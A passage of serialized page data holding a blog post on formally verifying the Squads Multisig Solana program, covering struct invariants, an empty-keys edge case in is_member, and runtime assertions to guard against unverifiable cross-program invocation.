":26921,"children":26922},{"style":264},[26923],{"type":28,"value":18950},{"type":23,"tag":134,"props":26925,"children":26926},{"style":179},[26927],{"type":28,"value":272},{"type":23,"tag":134,"props":26929,"children":26930},{"style":151},[26931],{"type":28,"value":13181},{"type":23,"tag":134,"props":26933,"children":26934},{"style":168},[26935],{"type":28,"value":720},{"type":23,"tag":134,"props":26937,"children":26938},{"style":179},[26939],{"type":28,"value":25580},{"type":23,"tag":134,"props":26941,"children":26942},{"class":136,"line":332},[26943,26948,26952,26956,26960,26964,26968,26972,26976,26980,26984,26988,26992,26996,27000,27004],{"type":23,"tag":134,"props":26944,"children":26945},{"style":151},[26946],{"type":28,"value":26947},"            self",{"type":23,"tag":134,"props":26949,"children":26950},{"style":168},[26951],{"type":28,"value":720},{"type":23,"tag":134,"props":26953,"children":26954},{"style":179},[26955],{"type":28,"value":20549},{"type":23,"tag":134,"props":26957,"children":26958},{"style":168},[26959],{"type":28,"value":257},{"type":23,"tag":134,"props":26961,"children":26962},{"style":151},[26963],{"type":28,"value":13265},{"type":23,"tag":134,"props":26965,"children":26966},{"style":168},[26967],{"type":28,"value":720},{"type":23,"tag":134,"props":26969,"children":26970},{"style":179},[26971],{"type":28,"value":20461},{"type":23,"tag":134,"props":26973,"children":26974},{"style":168},[26975],{"type":28,"value":720},{"type":23,"tag":134,"props":26977,"children":26978},{"style":264},[26979],{"type":28,"value":8601},{"type":23,"tag":134,"props":26981,"children":26982},{"style":179},[26983],{"type":28,"value":13347},{"type":23,"tag":134,"props":26985,"children":26986},{"style":168},[26987],{"type":28,"value":720},{"type":23,"tag":134,"props":26989,"children":26990},{"style":264},[26991],{"type":28,"value":25653},{"type":23,"tag":134,"props":26993,"children":26994},{"style":179},[26995],{"type":28,"value":13347},{"type":23,"tag":134,"props":26997,"children":26998},{"style":168},[26999],{"type":28,"value":720},{"type":23,"tag":134,"props":27001,"children":27002},{"style":264},[27003],{"type":28,"value":851},{"type":23,"tag":134,"props":27005,"children":27006},{"style":179},[27007],{"type":28,"value":856},{"type":23,"tag":134,"props":27009,"children":27010},{"class":136,"line":438},[27011],{"type":23,"tag":134,"props":27012,"children":27013},{"style":179},[27014],{"type":28,"value":524},{"type":23,"tag":134,"props":27016,"children":27017},{"class":136,"line":466},[27018],{"type":23,"tag":134,"props":27019,"children":27020},{"style":179},[27021],{"type":28,"value":533},{"type":23,"tag":134,"props":27023,"children":27024},{"class":136,"line":479},[27025,27029],{"type":23,"tag":134,"props":27026,"children":27027},{"style":597},[27028],{"type":28,"value":13801},{"type":23,"tag":134,"props":27030,"children":27031},{"style":179},[27032],{"type":28,"value":13806},{"type":23,"tag":134,"props":27034,"children":27035},{"class":136,"line":497},[27036],{"type":23,"tag":134,"props":27037,"children":27038},{"style":179},[27039],{"type":28,"value":1098},{"type":23,"tag":24,"props":27041,"children":27042},{},[27043,27045,27050,27052,27058,27060,27066,27068,27073],{"type":28,"value":27044},"Inside ",{"type":23,"tag":92,"props":27046,"children":27048},{"className":27047},[],[27049],{"type":28,"value":26704},{"type":28,"value":27051},", we see that it performs a ",{"type":23,"tag":92,"props":27053,"children":27055},{"className":27054},[],[27056],{"type":28,"value":27057},"binary_search",{"type":28,"value":27059}," on the keys vec and returns the index or ",{"type":23,"tag":92,"props":27061,"children":27063},{"className":27062},[],[27064],{"type":28,"value":27065},"None",{"type":28,"value":27067},". Since the vec has size zero, this will just return ",{"type":23,"tag":92,"props":27069,"children":27071},{"className":27070},[],[27072],{"type":28,"value":27065},{"type":28,"value":720},{"type":23,"tag":87,"props":27075,"children":27077},{"code":27076,"language":127,"meta":7,"className":128,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[27078],{"type":23,"tag":92,"props":27079,"children":27080},{"__ignoreMap":7},[27081,27150,27193,27232,27254,27261],{"type":23,"tag":134,"props":27082,"children":27083},{"class":136,"line":137},[27084,27088,27092,27097,27101,27105,27109,27113,27117,27121,27125,27129,27133,27138,27142,27146],{"type":23,"tag":134,"props":27085,"children":27086},{"style":151},[27087],{"type":28,"value":13158},{"type":23,"tag":134,"props":27089,"children":27090},{"style":151},[27091],{"type":28,"value":13163},{"type":23,"tag":134,"props":27093,"children":27094},{"style":264},[27095],{"type":28,"value":27096}," is_member",{"type":23,"tag":134,"props":27098,"children":27099},{"style":179},[27100],{"type":28,"value":272},{"type":23,"tag":134,"props":27102,"children":27103},{"style":168},[27104],{"type":28,"value":277},{"type":23,"tag":134,"props":27106,"children":27107},{"style":151},[27108],{"type":28,"value":13181},{"type":23,"tag":134,"props":27110,"children":27111},{"style":179},[27112],{"type":28,"value":242},{"type":23,"tag":134,"props":27114,"children":27115},{"style":162},[27116],{"type":28,"value":26760},{"type":23,"tag":134,"props":27118,"children":27119},{"style":168},[27120],{"type":28,"value":1697},{"type":23,"tag":134,"props":27122,"children":27123},{"style":597},[27124],{"type":28,"value":20335},{"type":23,"tag":134,"props":27126,"children":27127},{"style":179},[27128],{"type":28,"value":252},{"type":23,"tag":134,"props":27130,"children":27131},{"style":168},[27132],{"type":28,"value":13225},{"type":23,"tag":134,"props":27134,"children":27135},{"style":597},[27136],{"type":28,"value":27137}," Option",{"type":23,"tag":134,"props":27139,"children":27140},{"style":179},[27141],{"type":28,"value":5262},{"type":23,"tag":134,"props":27143,"children":27144},{"style":597},[27145],{"type":28,"value":16072},{"type":23,"tag":134,"props":27147,"children":27148},{"style":179},[27149],{"type":28,"value":6739},{"type":23,"tag":134,"props":27151,"children":27152},{"class":136,"line":147},[27153,27157,27161,27165,27169,27173,27177,27181,27185,27189],{"type":23,"tag":134,"props":27154,"children":27155},{"style":189},[27156],{"type":28,"value":14221},{"type":23,"tag":134,"props":27158,"children":27159},{"style":151},[27160],{"type":28,"value":13265},{"type":23,"tag":134,"props":27162,"children":27163},{"style":168},[27164],{"type":28,"value":720},{"type":23,"tag":134,"props":27166,"children":27167},{"style":179},[27168],{"type":28,"value":20461},{"type":23,"tag":134,"props":27170,"children":27171},{"style":168},[27172],{"type":28,"value":720},{"type":23,"tag":134,"props":27174,"children":27175},{"style":264},[27176],{"type":28,"value":27057},{"type":23,"tag":134,"props":27178,"children":27179},{"style":179},[27180],{"type":28,"value":272},{"type":23,"tag":134,"props":27182,"children":27183},{"style":168},[27184],{"type":28,"value":277},{"type":23,"tag":134,"props":27186,"children":27187},{"style":162},[27188],{"type":28,"value":26760},{"type":23,"tag":134,"props":27190,"children":27191},{"style":179},[27192],{"type":28,"value":14272},{"type":23,"tag":134,"props":27194,"children":27195},{"class":136,"line":185},[27196,27200,27204,27208,27212,27216,27220,27224,27228],{"type":23,"tag":134,"props":27197,"children":27198},{"style":597},[27199],{"type":28,"value":14280},{"type":23,"tag":134,"props":27201,"children":27202},{"style":179},[27203],{"type":28,"value":272},{"type":23,"tag":134,"props":27205,"children":27206},{"style":162},[27207],{"type":28,"value":26810},{"type":23,"tag":134,"props":27209,"children":27210},{"style":179},[27211],{"type":28,"value":252},{"type":23,"tag":134,"props":27213,"children":27214},{"style":168},[27215],{"type":28,"value":14290},{"type":23,"tag":134,"props":27217,"children":27218},{"style":597},[27219],{"type":28,"value":26801},{"type":23,"tag":134,"props":27221,"children":27222},{"style":179},[27223],{"type":28,"value":272},{"type":23,"tag":134,"props":27225,"children":27226},{"style":162},[27227],{"type":28,"value":26810},{"type":23,"tag":134,"props":27229,"children":27230},{"style":179},[27231],{"type":28,"value":6194},{"type":23,"tag":134,"props":27233,"children":27234},{"class":136,"line":221},[27235,27240,27245,27250],{"type":23,"tag":134,"props":27236,"children":27237},{"style":162},[27238],{"type":28,"value":27239},"        _",{"type":23,"tag":134,"props":27241,"children":27242},{"style":168},[27243],{"type":28,"value":27244}," =>",{"type":23,"tag":134,"props":27246,"children":27247},{"style":597},[27248],{"type":28,"value":27249}," None",{"type":23,"tag":134,"props":27251,"children":27252},{"style":179},[27253],{"type":28,"value":687},{"type":23,"tag":134,"props":27255,"children":27256},{"class":136,"line":332},[27257],{"type":23,"tag":134,"props":27258,"children":27259},{"style":179},[27260],{"type":28,"value":533},{"type":23,"tag":134,"props":27262,"children":27263},{"class":136,"line":438},[27264],{"type":23,"tag":134,"props":27265,"children":27266},{"style":179},[27267],{"type":28,"value":1098},{"type":23,"tag":24,"props":27269,"children":27270},{},[27271,27273,27278,27280,27285,27287,27292,27294,27299],{"type":28,"value":27272},"So interestingly, a ",{"type":23,"tag":92,"props":27274,"children":27276},{"className":27275},[],[27277],{"type":28,"value":20461},{"type":28,"value":27279}," vec of size 0 ",{"type":23,"tag":55,"props":27281,"children":27282},{},[27283],{"type":28,"value":27284},"is actually",{"type":28,"value":27286}," a sufficient condition to execute ",{"type":23,"tag":92,"props":27288,"children":27290},{"className":27289},[],[27291],{"type":28,"value":24957},{"type":28,"value":27293},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":55,"props":27295,"children":27296},{},[27297],{"type":28,"value":27298},"valid",{"type":28,"value":27300}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":27302,"children":27303},{},[27304,27306,27311],{"type":28,"value":27305},"We can represent this ",{"type":23,"tag":55,"props":27307,"children":27308},{},[27309],{"type":28,"value":27310},"validity",{"type":28,"value":27312}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":87,"props":27314,"children":27316},{"code":27315,"language":127,"meta":7,"className":128,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27317],{"type":23,"tag":92,"props":27318,"children":27319},{"__ignoreMap":7},[27320,27327,27350,27401,27408],{"type":23,"tag":134,"props":27321,"children":27322},{"class":136,"line":137},[27323],{"type":23,"tag":134,"props":27324,"children":27325},{"style":179},[27326],{"type":28,"value":20256},{"type":23,"tag":134,"props":27328,"children":27329},{"class":136,"line":147},[27330,27334,27338,27342,27346],{"type":23,"tag":134,"props":27331,"children":27332},{"style":179},[27333],{"type":28,"value":24220},{"type":23,"tag":134,"props":27335,"children":27336},{"style":168},[27337],{"type":28,"value":720},{"type":23,"tag":134,"props":27339,"children":27340},{"style":179},[27341],{"type":28,"value":20549},{"type":23,"tag":134,"props":27343,"children":27344},{"style":168},[27345],{"type":28,"value":9408},{"type":23,"tag":134,"props":27347,"children":27348},{"style":179},[27349],{"type":28,"value":20558},{"type":23,"tag":134,"props":27351,"children":27352},{"class":136,"line":185},[27353,27357,27361,27365,27369,27373,27377,27381,27385,27389,27393,27397],{"type":23,"tag":134,"props":27354,"children":27355},{"style":168},[27356],{"type":28,"value":15091},{"type":23,"tag":134,"props":27358,"children":27359},{"style":179},[27360],{"type":28,"value":20482},{"type":23,"tag":134,"props":27362,"children":27363},{"style":168},[27364],{"type":28,"value":720},{"type":23,"tag":134,"props":27366,"children":27367},{"style":179},[27368],{"type":28,"value":20549},{"type":23,"tag":134,"props":27370,"children":27371},{"style":151},[27372],{"type":28,"value":8302},{"type":23,"tag":134,"props":27374,"children":27375},{"style":597},[27376],{"type":28,"value":13199},{"type":23,"tag":134,"props":27378,"children":27379},{"style":168},[27380],{"type":28,"value":7656},{"type":23,"tag":134,"props":27382,"children":27383},{"style":179},[27384],{"type":28,"value":13265},{"type":23,"tag":134,"props":27386,"children":27387},{"style":168},[27388],{"type":28,"value":720},{"type":23,"tag":134,"props":27390,"children":27391},{"style":179},[27392],{"type":28,"value":20461},{"type":23,"tag":134,"props":27394,"children":27395},{"style":168},[27396],{"type":28,"value":720},{"type":23,"tag":134,"props":27398,"children":27399},{"style":179},[27400],{"type":28,"value":20610},{"type":23,"tag":134,"props":27402,"children":27403},{"class":136,"line":221},[27404],{"type":23,"tag":134,"props":27405,"children":27406},{"style":179},[27407],{"type":28,"value":19736},{"type":23,"tag":134,"props":27409,"children":27410},{"class":136,"line":332},[27411,27415,27419,27423,27427,27431],{"type":23,"tag":134,"props":27412,"children":27413},{"style":151},[27414],{"type":28,"value":13158},{"type":23,"tag":134,"props":27416,"children":27417},{"style":151},[27418],{"type":28,"value":20629},{"type":23,"tag":134,"props":27420,"children":27421},{"style":597},[27422],{"type":28,"value":20634},{"type":23,"tag":134,"props":27424,"children":27425},{"style":179},[27426],{"type":28,"value":9049},{"type":23,"tag":134,"props":27428,"children":27429},{"style":168},[27430],{"type":28,"value":9054},{"type":23,"tag":134,"props":27432,"children":27433},{"style":179},[27434],{"type":28,"value":9059},{"type":23,"tag":24,"props":27436,"children":27437},{},[27438,27440,27446,27448,27454],{"type":28,"value":27439},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":92,"props":27441,"children":27443},{"className":27442},[],[27444],{"type":28,"value":27445},"keys.len() == 0",{"type":28,"value":27447}," and allows us to prove the biconditional ",{"type":23,"tag":92,"props":27449,"children":27451},{"className":27450},[],[27452],{"type":28,"value":27453},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":720},{"type":23,"tag":9072,"props":27456,"children":27458},{"id":27457},"safety-guarantees",[27459],{"type":28,"value":22263},{"type":23,"tag":24,"props":27461,"children":27462},{},[27463],{"type":28,"value":27464},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":27466,"children":27467},{},[27468],{"type":28,"value":27469},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":27471,"children":27472},{},[27473,27475,27481],{"type":28,"value":27474},"In the multisig program this happens in the ",{"type":23,"tag":92,"props":27476,"children":27478},{"className":27477},[],[27479],{"type":28,"value":27480},"execute_transaction",{"type":28,"value":27482}," instruction.",{"type":23,"tag":24,"props":27484,"children":27485},{},[27486],{"type":23,"tag":55,"props":27487,"children":27488},{},[27489],{"type":28,"value":27490},"So what do you do?",{"type":23,"tag":24,"props":27492,"children":27493},{},[27494],{"type":28,"value":27495},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":87,"props":27497,"children":27499},{"code":27498,"language":127,"meta":7,"className":128,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[27500],{"type":23,"tag":92,"props":27501,"children":27502},{"__ignoreMap":7},[27503,27518,27534,27549,27590,27597,27604,27611,27628,27644,27665,27672,27679,27695,27715,27743,27750,27757,27764,27772,27825,27851,27858,27887,27911,27946,27953,27964],{"type":23,"tag":134,"props":27504,"children":27505},{"class":136,"line":137},[27506,27510,27514],{"type":23,"tag":134,"props":27507,"children":27508},{"style":179},[27509],{"type":28,"value":22316},{"type":23,"tag":134,"props":27511,"children":27512},{"style":597},[27513],{"type":28,"value":22321},{"type":23,"tag":134,"props":27515,"children":27516},{"style":179},[27517],{"type":28,"value":19736},{"type":23,"tag":134,"props":27519,"children":27520},{"class":136,"line":147},[27521,27525,27530],{"type":23,"tag":134,"props":27522,"children":27523},{"style":151},[27524],{"type":28,"value":13158},{"type":23,"tag":134,"props":27526,"children":27527},{"style":597},[27528],{"type":28,"value":27529}," MyCtx",{"type":23,"tag":134,"props":27531,"children":27532},{"style":179},[27533],{"type":28,"value":463},{"type":23,"tag":134,"props":27535,"children":27536},{"class":136,"line":185},[27537,27541,27545],{"type":23,"tag":134,"props":27538,"children":27539},{"style":179},[27540],{"type":28,"value":22608},{"type":23,"tag":134,"props":27542,"children":27543},{"style":151},[27544],{"type":28,"value":914},{"type":23,"tag":134,"props":27546,"children":27547},{"style":179},[27548],{"type":28,"value":19736},{"type":23,"tag":134,"props":27550,"children":27551},{"class":136,"line":221},[27552,27556,27561,27565,27569,27573,27577,27581,27586],{"type":23,"tag":134,"props":27553,"children":27554},{"style":151},[27555],{"type":28,"value":20321},{"type":23,"tag":134,"props":27557,"children":27558},{"style":162},[27559],{"type":28,"value":27560}," my_account",{"type":23,"tag":134,"props":27562,"children":27563},{"style":168},[27564],{"type":28,"value":1697},{"type":23,"tag":134,"props":27566,"children":27567},{"style":597},[27568],{"type":28,"value":22573},{"type":23,"tag":134,"props":27570,"children":27571},{"style":179},[27572],{"type":28,"value":22401},{"type":23,"tag":134,"props":27574,"children":27575},{"style":597},[27576],{"type":28,"value":22406},{"type":23,"tag":134,"props":27578,"children":27579},{"style":179},[27580],{"type":28,"value":242},{"type":23,"tag":134,"props":27582,"children":27583},{"style":597},[27584],{"type":28,"value":27585},"Acc",{"type":23,"tag":134,"props":27587,"children":27588},{"style":179},[27589],{"type":28,"value":5449},{"type":23,"tag":134,"props":27591,"children":27592},{"class":136,"line":332},[27593],{"type":23,"tag":134,"props":27594,"children":27595},{"style":179},[27596],{"type":28,"value":1098},{"type":23,"tag":134,"props":27598,"children":27599},{"class":136,"line":438},[27600],{"type":23,"tag":134,"props":27601,"children":27602},{"emptyLinePlaceholder":15},[27603],{"type":28,"value":865},{"type":23,"tag":134,"props":27605,"children":27606},{"class":136,"line":466},[27607],{"type":23,"tag":134,"props":27608,"children":27609},{"style":179},[27610],{"type":28,"value":20248},{"type":23,"tag":134,"props":27612,"children":27613},{"class":136,"line":479},[27614,27619,27623],{"type":23,"tag":134,"props":27615,"children":27616},{"style":179},[27617],{"type":28,"value":27618},"#[invariant(bad ",{"type":23,"tag":134,"props":27620,"children":27621},{"style":168},[27622],{"type":28,"value":8035},{"type":23,"tag":134,"props":27624,"children":27625},{"style":179},[27626],{"type":28,"value":27627}," false)]\n",{"type":23,"tag":134,"props":27629,"children":27630},{"class":136,"line":497},[27631,27635,27640],{"type":23,"tag":134,"props":27632,"children":27633},{"style":151},[27634],{"type":28,"value":8864},{"type":23,"tag":134,"props":27636,"children":27637},{"style":597},[27638],{"type":28,"value":27639}," Acc",{"type":23,"tag":134,"props":27641,"children":27642},{"style":179},[27643],{"type":28,"value":463},{"type":23,"tag":134,"props":27645,"children":27646},{"class":136,"line":518},[27647,27651,27656,27660],{"type":23,"tag":134,"props":27648,"children":27649},{"style":151},[27650],{"type":28,"value":20321},{"type":23,"tag":134,"props":27652,"children":27653},{"style":162},[27654],{"type":28,"value":27655}," bad",{"type":23,"tag":134,"props":27657,"children":27658},{"style":168},[27659],{"type":28,"value":1697},{"type":23,"tag":134,"props":27661,"children":27662},{"style":597},[27663],{"type":28,"value":27664}," bool\n",{"type":23,"tag":134,"props":27666,"children":27667},{"class":136,"line":527},[27668],{"type":23,"tag":134,"props":27669,"children":27670},{"style":179},[27671],{"type":28,"value":1098},{"type":23,"tag":134,"props":27673,"children":27674},{"class":136,"line":780},[27675],{"type":23,"tag":134,"props":27676,"children":27677},{"emptyLinePlaceholder":15},[27678],{"type":28,"value":865},{"type":23,"tag":134,"props":27680,"children":27681},{"class":136,"line":797},[27682,27687,27691],{"type":23,"tag":134,"props":27683,"children":27684},{"style":151},[27685],{"type":28,"value":27686},"impl",{"type":23,"tag":134,"props":27688,"children":27689},{"style":597},[27690],{"type":28,"value":27639},{"type":23,"tag":134,"props":27692,"children":27693},{"style":179},[27694],{"type":28,"value":463},{"type":23,"tag":134,"props":27696,"children":27697},{"class":136,"line":814},[27698,27702,27706,27711],{"type":23,"tag":134,"props":27699,"children":27700},{"style":151},[27701],{"type":28,"value":20321},{"type":23,"tag":134,"props":27703,"children":27704},{"style":151},[27705],{"type":28,"value":13163},{"type":23,"tag":134,"props":27707,"children":27708},{"style":264},[27709],{"type":28,"value":27710}," put_into_bad_state",{"type":23,"tag":134,"props":27712,"children":27713},{"style":179},[27714],{"type":28,"value":15206},{"type":23,"tag":134,"props":27716,"children":27717},{"class":136,"line":827},[27718,27722,27726,27731,27735,27739],{"type":23,"tag":134,"props":27719,"children":27720},{"style":151},[27721],{"type":28,"value":26851},{"type":23,"tag":134,"props":27723,"children":27724},{"style":168},[27725],{"type":28,"value":720},{"type":23,"tag":134,"props":27727,"children":27728},{"style":179},[27729],{"type":28,"value":27730},"bad ",{"type":23,"tag":134,"props":27732,"children":27733},{"style":168},[27734],{"type":28,"value":257},{"type":23,"tag":134,"props":27736,"children":27737},{"style":151},[27738],{"type":28,"value":11936},{"type":23,"tag":134,"props":27740,"children":27741},{"style":179},[27742],{"type":28,"value":182},{"type":23,"tag":134,"props":27744,"children":27745},{"class":136,"line":836},[27746],{"type":23,"tag":134,"props":27747,"children":27748},{"style":179},[27749],{"type":28,"value":533},{"type":23,"tag":134,"props":27751,"children":27752},{"class":136,"line":859},[27753],{"type":23,"tag":134,"props":27754,"children":27755},{"style":179},[27756],{"type":28,"value":1098},{"type":23,"tag":134,"props":27758,"children":27759},{"class":136,"line":868},[27760],{"type":23,"tag":134,"props":27761,"children":27762},{"emptyLinePlaceholder":15},[27763],{"type":28,"value":865},{"type":23,"tag":134,"props":27765,"children":27766},{"class":136,"line":877},[27767],{"type":23,"tag":134,"props":27768,"children":27769},{"style":141},[27770],{"type":28,"value":27771},"// Instruction handler:\n",{"type":23,"tag":134,"props":27773,"children":27774},{"class":136,"line":946},[27775,27779,27784,27788,27792,27796,27800,27804,27809,27813,27817,27821],{"type":23,"tag":134,"props":27776,"children":27777},{"style":151},[27778],{"type":28,"value":19744},{"type":23,"tag":134,"props":27780,"children":27781},{"style":264},[27782],{"type":28,"value":27783}," hard_to_verify",{"type":23,"tag":134,"props":27785,"children":27786},{"style":179},[27787],{"type":28,"value":272},{"type":23,"tag":134,"props":27789,"children":27790},{"style":162},[27791],{"type":28,"value":19758},{"type":23,"tag":134,"props":27793,"children":27794},{"style":168},[27795],{"type":28,"value":1697},{"type":23,"tag":134,"props":27797,"children":27798},{"style":597},[27799],{"type":28,"value":19767},{"type":23,"tag":134,"props":27801,"children":27802},{"style":179},[27803],{"type":28,"value":5262},{"type":23,"tag":134,"props":27805,"children":27806},{"style":597},[27807],{"type":28,"value":27808},"MyCtx",{"type":23,"tag":134,"props":27810,"children":27811},{"style":179},[27812],{"type":28,"value":19924},{"type":23,"tag":134,"props":27814,"children":27815},{"style":168},[27816],{"type":28,"value":13225},{"type":23,"tag":134,"props":27818,"children":27819},{"style":597},[27820],{"type":28,"value":13230},{"type":23,"tag":134,"props":27822,"children":27823},{"style":179},[27824],{"type":28,"value":19809},{"type":23,"tag":134,"props":27826,"children":27827},{"class":136,"line":954},[27828,27833,27837,27841,27846],{"type":23,"tag":134,"props":27829,"children":27830},{"style":264},[27831],{"type":28,"value":27832},"    invoke_signed",{"type":23,"tag":134,"props":27834,"children":27835},{"style":179},[27836],{"type":28,"value":272},{"type":23,"tag":134,"props":27838,"children":27839},{"style":168},[27840],{"type":28,"value":9054},{"type":23,"tag":134,"props":27842,"children":27843},{"style":179},[27844],{"type":28,"value":27845},"); ",{"type":23,"tag":134,"props":27847,"children":27848},{"style":141},[27849],{"type":28,"value":27850},"// Cross-program invocation\n",{"type":23,"tag":134,"props":27852,"children":27853},{"class":136,"line":984},[27854],{"type":23,"tag":134,"props":27855,"children":27856},{"emptyLinePlaceholder":15},[27857],{"type":28,"value":865},{"type":23,"tag":134,"props":27859,"children":27860},{"class":136,"line":992},[27861,27865,27870,27874,27878,27882],{"type":23,"tag":134,"props":27862,"children":27863},{"style":151},[27864],{"type":28,"value":154},{"type":23,"tag":134,"props":27866,"children":27867},{"style":162},[27868],{"type":28,"value":27869}," invoke_res",{"type":23,"tag":134,"props":27871,"children":27872},{"style":168},[27873],{"type":28,"value":171},{"type":23,"tag":134,"props":27875,"children":27876},{"style":168},[27877],{"type":28,"value":24790},{"type":23,"tag":134,"props":27879,"children":27880},{"style":179},[27881],{"type":28,"value":16699},{"type":23,"tag":134,"props":27883,"children":27884},{"style":141},[27885],{"type":28,"value":27886},"// fetch result of invocation\n",{"type":23,"tag":134,"props":27888,"children":27889},{"class":136,"line":1024},[27890,27894,27898,27902,27907],{"type":23,"tag":134,"props":27891,"children":27892},{"style":189},[27893],{"type":28,"value":11746},{"type":23,"tag":134,"props":27895,"children":27896},{"style":162},[27897],{"type":28,"value":27869},{"type":23,"tag":134,"props":27899,"children":27900},{"style":168},[27901],{"type":28,"value":454},{"type":23,"tag":134,"props":27903,"children":27904},{"style":205},[27905],{"type":28,"value":27906}," 5",{"type":23,"tag":134,"props":27908,"children":27909},{"style":179},[27910],{"type":28,"value":463},{"type":23,"tag":134,"props":27912,"children":27913},{"class":136,"line":1032},[27914,27918,27922,27927,27931,27936,27941],{"type":23,"tag":134,"props":27915,"children":27916},{"style":162},[27917],{"type":28,"value":25677},{"type":23,"tag":134,"props":27919,"children":27920},{"style":168},[27921],{"type":28,"value":720},{"type":23,"tag":134,"props":27923,"children":27924},{"style":179},[27925],{"type":28,"value":27926},"my_account",{"type":23,"tag":134,"props":27928,"children":27929},{"style":168},[27930],{"type":28,"value":720},{"type":23,"tag":134,"props":27932,"children":27933},{"style":264},[27934],{"type":28,"value":27935},"put_into_bad_state",{"type":23,"tag":134,"props":27937,"children":27938},{"style":179},[27939],{"type":28,"value":27940},"(); ",{"type":23,"tag":134,"props":27942,"children":27943},{"style":141},[27944],{"type":28,"value":27945},"// corrupt our account\n",{"type":23,"tag":134,"props":27947,"children":27948},{"class":136,"line":1092},[27949],{"type":23,"tag":134,"props":27950,"children":27951},{"style":179},[27952],{"type":28,"value":533},{"type":23,"tag":134,"props":27954,"children":27955},{"class":136,"line":8508},[27956,27960],{"type":23,"tag":134,"props":27957,"children":27958},{"style":597},[27959],{"type":28,"value":13801},{"type":23,"tag":134,"props":27961,"children":27962},{"style":179},[27963],{"type":28,"value":13806},{"type":23,"tag":134,"props":27965,"children":27966},{"class":136,"line":8526},[27967],{"type":23,"tag":134,"props":27968,"children":27969},{"style":179},[27970],{"type":28,"value":1098},{"type":23,"tag":24,"props":27972,"children":27973},{},[27974,27976,27981],{"type":28,"value":27975},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":92,"props":27977,"children":27979},{"className":27978},[],[27980],{"type":28,"value":27926},{"type":28,"value":27982},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":27984,"children":27985},{},[27986],{"type":28,"value":27987},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":27989,"children":27990},{},[27991,27993,27998],{"type":28,"value":27992},"However, we can ",{"type":23,"tag":55,"props":27994,"children":27995},{},[27996],{"type":28,"value":27997},"augment",{"type":28,"value":27999}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":28001,"children":28002},{},[28003],{"type":28,"value":28004},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":87,"props":28006,"children":28008},{"code":28007,"language":127,"meta":7,"className":128,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[28009],{"type":23,"tag":92,"props":28010,"children":28011},{"__ignoreMap":7},[28012,28020,28071,28094,28101,28128,28151,28182,28189,28196,28204,28239,28246,28257],{"type":23,"tag":134,"props":28013,"children":28014},{"class":136,"line":137},[28015],{"type":23,"tag":134,"props":28016,"children":28017},{"style":168},[28018],{"type":28,"value":28019},"...\n",{"type":23,"tag":134,"props":28021,"children":28022},{"class":136,"line":147},[28023,28027,28031,28035,28039,28043,28047,28051,28055,28059,28063,28067],{"type":23,"tag":134,"props":28024,"children":28025},{"style":151},[28026],{"type":28,"value":19744},{"type":23,"tag":134,"props":28028,"children":28029},{"style":264},[28030],{"type":28,"value":27783},{"type":23,"tag":134,"props":28032,"children":28033},{"style":179},[28034],{"type":28,"value":272},{"type":23,"tag":134,"props":28036,"children":28037},{"style":162},[28038],{"type":28,"value":19758},{"type":23,"tag":134,"props":28040,"children":28041},{"style":168},[28042],{"type":28,"value":1697},{"type":23,"tag":134,"props":28044,"children":28045},{"style":597},[28046],{"type":28,"value":19767},{"type":23,"tag":134,"props":28048,"children":28049},{"style":179},[28050],{"type":28,"value":5262},{"type":23,"tag":134,"props":28052,"children":28053},{"style":597},[28054],{"type":28,"value":27808},{"type":23,"tag":134,"props":28056,"children":28057},{"style":179},[28058],{"type":28,"value":19924},{"type":23,"tag":134,"props":28060,"children":28061},{"style":168},[28062],{"type":28,"value":13225},{"type":23,"tag":134,"props":28064,"children":28065},{"style":597},[28066],{"type":28,"value":13230},{"type":23,"tag":134,"props":28068,"children":28069},{"style":179},[28070],{"type":28,"value":19809},{"type":23,"tag":134,"props":28072,"children":28073},{"class":136,"line":185},[28074,28078,28082,28086,28090],{"type":23,"tag":134,"props":28075,"children":28076},{"style":264},[28077],{"type":28,"value":27832},{"type":23,"tag":134,"props":28079,"children":28080},{"style":179},[28081],{"type":28,"value":272},{"type":23,"tag":134,"props":28083,"children":28084},{"style":168},[28085],{"type":28,"value":9054},{"type":23,"tag":134,"props":28087,"childr